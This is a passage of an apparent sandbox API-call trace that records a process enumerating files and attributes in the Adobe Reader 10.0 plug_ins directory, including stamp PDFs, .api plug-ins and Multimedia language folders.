	[0054.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr"), fInfoLevelId=0x0, lpFileInformation=0x124be828 | out: lpFileInformation=0x124be828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.447] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b7a8 | out: lpFindFileData=0x1251b7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.448] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b7a8 | out: lpFindFileData=0x1251b7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1
	[0054.448] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b7a8 | out: lpFindFileData=0x1251b7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1
	[0054.448] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b7a8 | out: lpFindFileData=0x1251b7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1
	[0054.448] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b7a8 | out: lpFindFileData=0x1251b7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb189, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1
	[0054.448] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b7a8 | out: lpFindFileData=0x1251b7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1
	[0054.448] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b7a8 | out: lpFindFileData=0x1251b7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x58891, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1
	[0054.448] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b7a8 | out: lpFindFileData=0x1251b7a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.448] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.449] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124bea58 | out: lpFileInformation=0x124bea58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b15)) returned 1
	[0054.450] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124beaa8 | out: lpFileInformation=0x124beaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5)) returned 1
	[0054.450] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\pointers.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124beaf8 | out: lpFileInformation=0x124beaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731)) returned 1
	[0054.450] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\signhere.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124beb48 | out: lpFileInformation=0x124beb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb189)) returned 1
	[0054.450] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standard.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124beb98 | out: lpFileInformation=0x124beb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5)) returned 1
	[0054.450] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standardbusiness.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124bebe8 | out: lpFileInformation=0x124bebe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x58891)) returned 1
	[0054.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124bec38 | out: lpFileInformation=0x124bec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772)) returned 1
	[0054.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annots.api"), fInfoLevelId=0x0, lpFileInformation=0x124bec88 | out: lpFileInformation=0x124bec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5dbe63)) returned 1
	[0054.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\checkers.api"), fInfoLevelId=0x0, lpFileInformation=0x124becd8 | out: lpFileInformation=0x124becd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2463)) returned 1
	[0054.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\dva.api"), fInfoLevelId=0x0, lpFileInformation=0x124bed28 | out: lpFileInformation=0x124bed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24a63)) returned 1
	[0054.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\digsig.api"), fInfoLevelId=0x0, lpFileInformation=0x124bed78 | out: lpFileInformation=0x124bed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15de63)) returned 1
	[0054.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\escript.api"), fInfoLevelId=0x0, lpFileInformation=0x124bedc8 | out: lpFileInformation=0x124bedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e2b880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ab863)) returned 1
	[0054.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ia32.api"), fInfoLevelId=0x0, lpFileInformation=0x124bee18 | out: lpFileInformation=0x124bee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18463)) returned 1
	[0054.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\makeaccessible.api"), fInfoLevelId=0x0, lpFileInformation=0x124bee68 | out: lpFileInformation=0x124bee68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x234a63)) returned 1
	[0054.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia"), fInfoLevelId=0x0, lpFileInformation=0x124beeb8 | out: lpFileInformation=0x124beeb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.454] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.454] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1
	[0054.454] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_CZE", cAlternateFileName="")) returned 1
	[0054.455] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HRV", cAlternateFileName="")) returned 1
	[0054.455] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HUN", cAlternateFileName="")) returned 1
	[0054.455] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_POL", cAlternateFileName="")) returned 1
	[0054.455] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUM", cAlternateFileName="")) returned 1
	[0054.455] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUS", cAlternateFileName="")) returned 1
	[0054.455] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SKY", cAlternateFileName="")) returned 1
	[0054.455] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SLV", cAlternateFileName="")) returned 1
	[0054.455] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_TUR", cAlternateFileName="")) returned 1
	[0054.455] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 1
	[0054.455] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.455] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.456] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp"), fInfoLevelId=0x0, lpFileInformation=0x124bf278 | out: lpFileInformation=0x124bf278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CAT", cAlternateFileName="")) returned 1
	[0054.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CHS", cAlternateFileName="")) returned 1
	[0054.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CHT", cAlternateFileName="")) returned 1
